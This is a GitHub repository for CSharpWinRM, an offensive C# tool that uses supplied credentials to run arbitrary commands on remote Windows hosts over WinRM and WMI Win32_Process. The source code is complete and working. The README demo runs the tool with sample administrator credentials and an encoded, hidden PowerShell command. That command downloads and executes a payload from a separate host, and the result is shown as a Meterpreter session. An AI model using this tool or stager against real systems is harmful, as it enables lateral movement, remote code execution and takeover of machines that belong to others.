├── .gitignore ├── CSharpWinRM ├── CSharpWinRM.sln └── CSharpWinRM │ ├── CSharpWinRM.csproj │ ├── Logger.cs │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── WSMan.cs │ ├── app.config │ └── lib │ └── WsmAuto.dll ├── LICENSE ├── README.md └── screenshots └── meterpreter.PNG /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # Created by https://www.toptal.com/developers/gitignore/api/csharp 3 | # Edit at https://www.toptal.com/developers/gitignore?templates=csharp 4 | 5 | ### Csharp ### 6 | ## Ignore Visual Studio temporary files, build results, and 7 | ## files generated by popular Visual Studio add-ons. 8 | ## 9 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 10 | 11 | # User-specific files 12 | *.rsuser 13 | *.suo 14 | *.user 15 | *.userosscache 16 | *.sln.docstates 17 | 18 | # User-specific files (MonoDevelop/Xamarin Studio) 19 | *.userprefs 20 | 21 | # Mono auto generated files 22 | mono_crash.* 23 | 24 | # Build results 25 | [Dd]ebug/ 26 | [Dd]ebugPublic/ 27 | [Rr]elease/ 28 | [Rr]eleases/ 29 | x64/ 30 | x86/ 31 | [Aa][Rr][Mm]/ 32 | [Aa][Rr][Mm]64/ 33 | bld/ 34 | [Bb]in/ 35 | [Oo]bj/ 36 | [Ll]og/ 37 | [Ll]ogs/ 38 | 39 | # Visual Studio 2015/2017 cache/options directory 40 | .vs/ 41 | # Uncomment if you have tasks that create the project's static files in wwwroot 42 | #wwwroot/ 43 | 44 | # Visual Studio 2017 auto generated files 45 | Generated\ Files/ 46 | 47 | # MSTest test Results 48 | [Tt]est[Rr]esult*/ 49 | [Bb]uild[Ll]og.* 50 | 51 | # NUnit 52 | *.VisualState.xml 53 | TestResult.xml 54 | nunit-*.xml 55 | 56 | # Build Results of an ATL Project 57 | [Dd]ebugPS/ 58 | [Rr]eleasePS/ 59 | dlldata.c 60 | 61 | # Benchmark Results 62 | BenchmarkDotNet.Artifacts/ 63 | 64 | # .NET Core 65 | project.lock.json 66 | project.fragment.lock.json 67 | artifacts/ 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*[.json, .xml, .info] 147 | 148 | # Visual Studio code coverage results 149 | *.coverage 150 | *.coveragexml 151 | 152 | # NCrunch 153 | _NCrunch_* 154 | .*crunch*.local.xml 155 | nCrunchTemp_* 156 | 157 | # MightyMoose 158 | *.mm.* 159 | AutoTest.Net/ 160 | 161 | # Web workbench (sass) 162 | .sass-cache/ 163 | 164 | # Installshield output folder 165 | [Ee]xpress/ 166 | 167 | # DocProject is a documentation generator add-in 168 | DocProject/buildhelp/ 169 | DocProject/Help/*.HxT 170 | DocProject/Help/*.HxC 171 | DocProject/Help/*.hhc 172 | DocProject/Help/*.hhk 173 | DocProject/Help/*.hhp 174 | DocProject/Help/Html2 175 | DocProject/Help/html 176 | 177 | # Click-Once directory 178 | publish/ 179 | 180 | # Publish Web Output 181 | *.[Pp]ublish.xml 182 | *.azurePubxml 183 | # Note: Comment the next line if you want to checkin your web deploy settings, 184 | # but database connection strings (with potential passwords) will be unencrypted 185 | *.pubxml 186 | *.publishproj 187 | 188 | # Microsoft Azure Web App publish settings. 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2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace CSharpWinRM 7 | { 8 | class Logger 9 | { 10 | public enum STATUS 11 | { 12 | GOOD = 0, 13 | ERROR = 1, 14 | INFO = 2 15 | }; 16 | public static void Print(STATUS status, String msg) 17 | { 18 | if (status == STATUS.GOOD) 19 | { 20 | Console.WriteLine("[+] " + msg); 21 | } 22 | else if (status == STATUS.ERROR) 23 | { 24 | Console.WriteLine("[-] " + msg); 25 | } 26 | else if (status == STATUS.INFO) 27 | { 28 | Console.WriteLine("[*] " + msg); 29 | } 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /CSharpWinRM/CSharpWinRM/Program.cs: -------------------------------------------------------------------------------- 1 | namespace CSharpWinRM 2 | { 3 | class Program 4 | { 5 | static void Main(string[] args) 6 | { 7 | WSMan.Execute(args); 8 | } 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /CSharpWinRM/CSharpWinRM/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("CSharpWinRM")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("CSharpWinRM")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("1cd88528-506a-4cde-b864-11e6d919e5e8")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /CSharpWinRM/CSharpWinRM/WSMan.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Linq.Expressions; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Xml; 7 | using WSManAutomation; 8 | 9 | namespace CSharpWinRM 10 | { 11 | class WSMan 12 | { 13 | public static Boolean Execute(string[] args) 14 | { 15 | Boolean Encryption = false; 16 | 17 | String Target = ""; 18 | String Domain = ""; 19 | String Username = ""; 20 | String Password = ""; 21 | String Command = ""; 22 | 23 | if (args.Length == 2) 24 | { 25 | Target = args[0]; 26 | Command = args[1]; 27 | } 28 | 29 | else if (args.Length == 5) 30 | { 31 | try 32 | { 33 | Target = args[0]; 34 | Domain = args[1]; 35 | Username = args[2]; 36 | Password = args[3]; 37 | Command = args[4]; 38 | } 39 | catch (Exception e) 40 | { 41 | Logger.Print(Logger.STATUS.ERROR, e.Message); 42 | return false; 43 | } 44 | } 45 | else 46 | { 47 | Help(); 48 | return false; 49 | } 50 | 51 | String hostUri = String.Format("http://{0}:5985", Target); 52 | String sessionURI = String.Format("http://{0}/wsman", Target); 53 | 54 | WSManClass wsmanClass = new WSManClass(); 55 | 56 | IWSManConnectionOptions connectionOptions = (IWSManConnectionOptions)wsmanClass.CreateConnectionOptions(); 57 | if(Domain != "" && Username != "" && Password != "") 58 | { 59 | connectionOptions.UserName = Domain + "\\" + Username; 60 | connectionOptions.Password = Password; 61 | Logger.Print(Logger.STATUS.INFO, "Authenticating with: " + Domain + "\\"+ Username + ":" + Password); 62 | 63 | } 64 | else if (Domain == "" && Username == "" && Password == "") 65 | { 66 | Logger.Print(Logger.STATUS.INFO, "Authenticating as: " + Environment.UserDomainName + "\\" + Environment.UserName); 67 | } 68 | else 69 | { 70 | Help(); 71 | return false; 72 | } 73 | 74 | Logger.Print(Logger.STATUS.INFO, "Command: " + Command); 75 | 76 | int wsmanFlags = wsmanClass.SessionFlagUTF8() | wsmanClass.SessionFlagCredUsernamePassword(); 77 | 78 | if (!Encryption) 79 | { 80 | // https://stackoverflow.com/questions/1469791/powershell-v2-remoting-how-do-you-enable-unencrypted-traffic 81 | wsmanClass.SessionFlagNoEncryption(); 82 | } 83 | 84 | try 85 | { 86 | // https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nn-wsmandisp-iwsmansession 87 | IWSManSession wsmanSession = (IWSManSession)wsmanClass.CreateSession(hostUri, wsmanFlags, connectionOptions); 88 | 89 | if (wsmanSession != null) 90 | { 91 | // https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-and-wmi 92 | // https://csharp.hotexamples.com/examples/-/IWSManSession/-/php-iwsmansession-class-examples.html 93 | 94 | XmlDocument xmlIdentifyResponse = new XmlDocument(); 95 | 96 | // https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-identify 97 | // Queries a remote computer to determine if it supports the WS-Management protocol. 98 | try 99 | { 100 | xmlIdentifyResponse.LoadXml(wsmanSession.Identify()); 101 | if (!xmlIdentifyResponse.HasChildNodes) 102 | { 103 | Logger.Print(Logger.STATUS.INFO, "Failed to Identify() host"); 104 | Marshal.ReleaseComObject(wsmanSession); 105 | return false; 106 | } 107 | Logger.Print(Logger.STATUS.GOOD, "Successfully identified host: "); 108 | foreach(XmlNode node in xmlIdentifyResponse.ChildNodes) 109 | { 110 | foreach(XmlNode innernodes in node.ChildNodes) 111 | { 112 | Logger.Print(Logger.STATUS.GOOD, innernodes.InnerText); 113 | } 114 | } 115 | } 116 | catch (Exception e) 117 | { 118 | Logger.Print(Logger.STATUS.ERROR, "Failed to Identify() host"); 119 | Logger.Print(Logger.STATUS.ERROR, e.Message); 120 | Marshal.ReleaseComObject(wsmanSession); 121 | return false; 122 | } 123 | 124 | string resourceURI = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process"; 125 | 126 | // https://social.microsoft.com/Forums/en-US/d6ec5087-33dc-4967-8183-f8524683a3ea/using-remote-powershellwinrm-within-caspnet 127 | StringBuilder parameters = new StringBuilder(); 128 | parameters.Append(""); 130 | parameters.Append("" + Command + ""); 131 | parameters.Append(""); 132 | 133 | Logger.Print(Logger.STATUS.INFO, "Sending the following XML: "); 134 | Console.WriteLine("\n" + parameters + "\n"); 135 | 136 | String responseFromInvoke = wsmanSession.Invoke("Create", resourceURI, parameters.ToString(), 0); 137 | 138 | if (responseFromInvoke != null) 139 | { 140 | Logger.Print(Logger.STATUS.GOOD, "Got a response from invoke:"); 141 | Console.WriteLine("\n" + responseFromInvoke + "\n"); 142 | XmlDocument xmlInvokeResponse = new XmlDocument(); 143 | try 144 | { 145 | xmlInvokeResponse.LoadXml(responseFromInvoke); 146 | foreach (XmlNode node in xmlInvokeResponse.ChildNodes) 147 | { 148 | foreach (XmlNode innernodes in node.ChildNodes) 149 | { 150 | String NodeName = innernodes.Name.Replace("p:", ""); 151 | String NodeValue = innernodes.InnerText; 152 | Logger.Print(Logger.STATUS.GOOD, NodeName + ": " + NodeValue); 153 | if(NodeName == "ReturnValue") 154 | { 155 | if(NodeValue == "0") 156 | { 157 | Logger.Print(Logger.STATUS.GOOD, "Process Sucessfully Started!"); 158 | } 159 | else 160 | { 161 | Logger.Print(Logger.STATUS.ERROR, "Process failed to start, got error: " + NodeValue); 162 | } 163 | } 164 | } 165 | } 166 | } 167 | catch(Exception e) 168 | { 169 | Logger.Print(Logger.STATUS.ERROR, "Got an erorr whilst parsing response: " + e.Message); 170 | Marshal.ReleaseComObject(wsmanSession); 171 | } 172 | 173 | } 174 | else 175 | { 176 | Logger.Print(Logger.STATUS.ERROR, "Got no response, not too sure what this means..."); 177 | Marshal.ReleaseComObject(wsmanSession); 178 | return false; 179 | } 180 | 181 | Marshal.ReleaseComObject(wsmanSession); 182 | } 183 | else 184 | { 185 | Logger.Print(Logger.STATUS.ERROR, "Failed to create session with IWSManSession"); 186 | Marshal.ReleaseComObject(wsmanSession); 187 | ErrorMsg(); 188 | } 189 | } 190 | finally 191 | { 192 | Marshal.ReleaseComObject(connectionOptions); 193 | } 194 | return true; 195 | } 196 | private static Int32 ErrorMsg() 197 | { 198 | Win32Exception errorMessage = new Win32Exception(Marshal.GetLastWin32Error()); 199 | Logger.Print(Logger.STATUS.ERROR, String.Format("{0} (Error Code: {1})", errorMessage.Message, errorMessage.NativeErrorCode.ToString())); 200 | return (Int32)errorMessage.NativeErrorCode; 201 | } 202 | private static void Help() 203 | { 204 | Console.WriteLine("[*] Usage: .\\CSharpWinRM.exe [Domain] [Username] [Password] "); 205 | Console.WriteLine("[*] Example 1: .\\CSharpWinRM.exe 192.168.0.1 DomainName Administrator Password123! \"powershell.exe -e blah\""); 206 | Console.WriteLine("[*] Example 2: .\\CSharpWinRM.exe 192.168.0.1 \"powershell.exe -e blah\""); 207 | return; 208 | } 209 | } 210 | } 211 | -------------------------------------------------------------------------------- /CSharpWinRM/CSharpWinRM/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /CSharpWinRM/CSharpWinRM/lib/WsmAuto.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mez-0/CSharpWinRM/13f8f0ca7d8774ce7f7df821fe24cd700d5ca8c5/CSharpWinRM/CSharpWinRM/lib/WsmAuto.dll -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Mez0 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CSharpWinRM 2 | 3 | `CsharpWinRM` is a .NET 4.0 implementation of WinRM using the [WinRM C++ API](https://docs.microsoft.com/en-us/windows/win32/winrm/winrm-c---api). This project takes in credentials and a command, then executes it on the remote host using `Win32_Process`. 4 | 5 | ## Explanation 6 | 7 | After looking into how the `Win32_Process` method in WMI is used to execute remote commands, I threw this together: 8 | 9 | ```csharp 10 | public static void Main() 11 | { 12 | String command = "powershell.exe -nop -w hidden -e "; 13 | String Target = "10.10.11.115"; 14 | 15 | ConnectionOptions options = new ConnectionOptions(); 16 | options.Username = "water.tribe\\Administrator"; 17 | options.Password = "Password123!"; 18 | 19 | String Scope = String.Format("\\\\{0}\\root\\cimv2", Target); 20 | 21 | Console.WriteLine("Scope:" + Scope); 22 | 23 | ManagementScope managementScope = new ManagementScope(Scope,options); 24 | 25 | managementScope.Connect(); 26 | ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath("Win32_Process"),new ObjectGetOptions()); 27 | object[] process = { command }; 28 | object result = managementClass.InvokeMethod("Create", process); 29 | Console.WriteLine(result); 30 | } 31 | ``` 32 | 33 | Which is cool. So, I moved onto looking at how `WinRM` can be used in C#. Browsing through StackOverflow, people were typically [doing this with PowerShell Runspaces](https://stackoverflow.com/questions/27197402/running-a-command-on-a-remote-windows-using-winrm-in-c-sharp). Except for [one mad-lad](https://stackoverflow.com/a/4158374) who was using the WinAPI. I then rabbit-holed for an evening on this, which produces this project. 34 | 35 | The DLL in use here is the [wsmauto.dll](https://dll.website/wsmauto-dll). Referencing this DLL allows access to a bunch of [WSMan methods](https://docs.microsoft.com/en-us/windows/win32/winrm/wsman). 36 | 37 | All the heavy lifting is done by the [IWSManSession](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nn-wsmandisp-iwsmansession) interface, this gave access to two important methods: 38 | 39 | - [IWSManSession::Identify](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-invoke) 40 | - [IWSManSession::Invoke](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-invoke) 41 | 42 | The `Identify()` method is used to determine if the remote host is going to allow access, its used like so: 43 | 44 | ```csharp 45 | xmlIdentifyResponse.LoadXml(wsmanSession.Identify()); 46 | ``` 47 | 48 | Where `xmlIdentifyResponse` is just an `XmlDocument`. If its possible, an XML response is returned: 49 | 50 | ```xml 51 | 52 | http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd 53 | Microsoft Corporation 54 | OS: 6.3.9600 SP: 0.0 Stack: 3.0 55 | 56 | http://schemas.dmtf.org/wbem/wsman/1/wsman/secprofile/http/spnego-kerberos 57 | 58 | 59 | ``` 60 | 61 | With that, most of the mind-melting was done by trying to determine the `actionUri`, and the `resourceUri` as seen in the `IWSManSession::Invoke` [documentation](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-invoke). Until starting this project, I did not know that WinRM uses WMI under-the-hood, so I was soon able to link up `WIn32_Process` to create the process as seen in the WMI example at the start. 62 | 63 | The following PowerShell command sheds some light on the resourceUri: 64 | 65 | ```powershell 66 | winrm help uris 67 | ``` 68 | 69 | This became: 70 | 71 | ```csharp 72 | string resourceURI = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process"; 73 | ``` 74 | 75 | Finally, the actual payload. Originally, I was building the XML in one big `String.Format`, this would not respect anything after a space. So I could only run `cmd.exe` or something. But, [thanks to this chap](https://social.microsoft.com/Forums/en-US/d6ec5087-33dc-4967-8183-f8524683a3ea/using-remote-powershellwinrm-within-caspnet), I was able to get around that with a `StringBuilder`: 76 | 77 | ```csharp 78 | StringBuilder parameters = new StringBuilder(); 79 | parameters.Append(""); 81 | parameters.Append("" + Command + ""); 82 | parameters.Append(""); 83 | ``` 84 | 85 | This is all then put together, and invoked: 86 | 87 | ```csharp 88 | String responseFromInvoke = wsmanSession.Invoke("Create", resourceURI, parameters.ToString(), 0); 89 | ``` 90 | 91 | `Create` being the `Win32_Process` [method](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/create-method-in-class-win32-process). 92 | 93 | ## Demo 94 | 95 | I'll preface this with: 96 | 97 | > It works for me. 98 | 99 | Example command: 100 | 101 | ``` 102 | .\CSharpWinRM.exe 10.10.11.115 water.tribe administrator Password123! "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABOAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAE4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABOAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAvADgAMgBkAHIAWgBoADcATAA1AEsAYQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAnACkAKQA7AA==" 103 | ``` 104 | 105 | On execution, if successful, it should look something like this: 106 | 107 | ![meterpreter](./screenshots/meterpreter.PNG) 108 | 109 | If the `ReturnValue` is 0, then all is well. It will also give the `ProcessId`: 110 | 111 | ``` 112 | PS C:\Users\Administrator> Get-Process -Pid 1344 113 | 114 | Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName 115 | ------- ------ ----- ----- ----- ------ -- ----------- 116 | 413 32 69676 71440 599 0.58 1344 powershell 117 | ``` 118 | 119 | The error codes can be seen [here](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-return-codes). 120 | 121 | ## Usage 122 | 123 | ``` 124 | [*] Usage: .\CSharpWinRM.exe [Domain] [Username] [Password] 125 | [*] Example 1: .\CSharpWinRM.exe 192.168.0.1 DomainName Administrator Password123! "powershell.exe -e blah" 126 | [*] Example 2: .\CSharpWinRM.exe 192.168.0.1 "powershell.exe -e blah" 127 | ``` 128 | 129 | Once built, merge with: 130 | 131 | ```powershell 132 | .\ILMerge.exe /out:.\CSharpWinRM_merged.exe .\CSharpWinRM.exe .\Interop.WSManAutomation.dll 133 | ``` 134 | 135 | If, for whatever reason, the dll isnt available; its in: 136 | 137 | ``` 138 | CSharpWinRM/CSharpWinRM/lib/WsmAuto.dll 139 | ``` 140 | 141 | ## References 142 | 143 | 1. [C# WSManSession Examples](https://csharp.hotexamples.com/examples/-/IWSManSession/-/php-iwsmansession-class-examples.html) 144 | 2. [IWSManSession](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nn-wsmandisp-iwsmansession) 145 | 3. [IWSManSession::Identify](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-identify) 146 | 4. [Windows Remote Management and WMI](https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-and-wmi) 147 | 5. [Using Remote Powershell/WinRM within C#/ASP.NET RRS feed](https://social.microsoft.com/Forums/en-US/d6ec5087-33dc-4967-8183-f8524683a3ea/using-remote-powershellwinrm-within-caspnet) -------------------------------------------------------------------------------- /screenshots/meterpreter.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mez-0/CSharpWinRM/13f8f0ca7d8774ce7f7df821fe24cd700d5ca8c5/screenshots/meterpreter.PNG --------------------------------------------------------------------------------